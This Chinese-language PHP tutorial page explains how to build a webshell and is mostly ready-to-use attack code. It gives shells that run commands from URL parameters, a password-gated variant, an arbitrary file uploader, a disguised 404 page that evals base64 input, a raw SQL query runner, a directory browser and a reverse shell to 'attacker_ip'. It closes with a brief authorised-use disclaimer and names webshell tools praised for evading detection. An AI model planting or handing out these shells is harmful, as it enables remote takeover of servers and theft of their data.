当前位置:首页 > PHP

实现webshell php

2026-02-14 10:41:42PHP

PHP WebShell 实现方法

PHP WebShell 是一种基于 PHP 的脚本,允许远程管理服务器。以下是几种常见的实现方式:

基础 WebShell 代码

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

这段代码通过 GET 参数接收命令并执行。访问方式:http://example.com/shell.php?cmd=whoami

带密码验证的 WebShell

<?php
$password = "secret";
if(isset($_GET['pass']) && $_GET['pass'] == $password) {
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
}
?>

访问方式:http://example.com/shell.php?pass=secret&cmd=ls

文件上传 WebShell

<?php
if(isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}
?>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit">
</form>

隐蔽型 WebShell

<?php
header('HTTP/1.0 404 Not Found');
if(isset($_REQUEST['k'])) {
    eval(base64_decode($_REQUEST['k']));
}
?>

访问方式:http://example.com/404.php?k=base64编码的PHP代码

高级 WebShell 功能

数据库连接

<?php
$db = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$stmt = $db->query($_GET['sql']);
print_r($stmt->fetchAll());
?>

文件浏览器

<?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
foreach(scandir($dir) as $file) {
    echo "<a href='?dir=$dir/$file'>$file</a><br>";
}
?>

反连 Shell

<?php
$sock=fsockopen("attacker_ip",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

安全注意事项

WebShell 使用涉及重大安全风险,仅限合法授权测试使用。未经授权使用可能违反法律。

实际安全测试中建议使用成熟的 WebShell 工具如:

实现webshell php

  • Weevely
  • C99
  • b374k
  • Antak WebShell

这些工具提供加密通信、多平台支持等高级功能,同时降低被检测的风险。

标签: webshellphp
分享给朋友:

相关文章

php实现文件下载

php实现文件下载

PHP实现文件下载的方法 通过PHP实现文件下载功能,可以采用多种方式,以下是几种常见的实现方法: 使用header()函数强制下载 设置HTTP头信息,强制浏览器下载文件而非直接打开: $fi…

php实现验证码

php实现验证码

PHP实现验证码的方法 使用GD库生成验证码 GD库是PHP中处理图像的扩展,可用于生成验证码图片。 <?php session_start(); $width = 120; $height…

php 实现自动收货

php 实现自动收货

PHP 实现自动收货功能 自动收货功能通常用于电商系统,在订单超过一定时间未手动确认收货时自动完成订单。以下是实现方法: 数据库设计 需要订单表包含以下关键字段: CREATE TABLE ord…

php实现socket

php实现socket

PHP 实现 Socket 通信 PHP 可以通过 socket 扩展实现网络通信,支持 TCP/UDP 协议。以下是实现 Socket 通信的核心步骤和代码示例。 创建 TCP 服务器 //…

php长连接实现

php长连接实现

PHP 长连接实现方法 长连接(Keep-Alive)允许客户端与服务器在一次TCP连接中发送和接收多个HTTP请求/响应,减少重复建立连接的开销。以下是PHP中实现长连接的几种方式: 配置HTTP…

php 实现购物车

php 实现购物车

PHP 实现购物车功能 购物车功能是电子商务网站的核心部分,可以通过 PHP 和 Session 或数据库来实现。以下是两种常见的实现方式: 使用 Session 存储购物车数据 Session 是…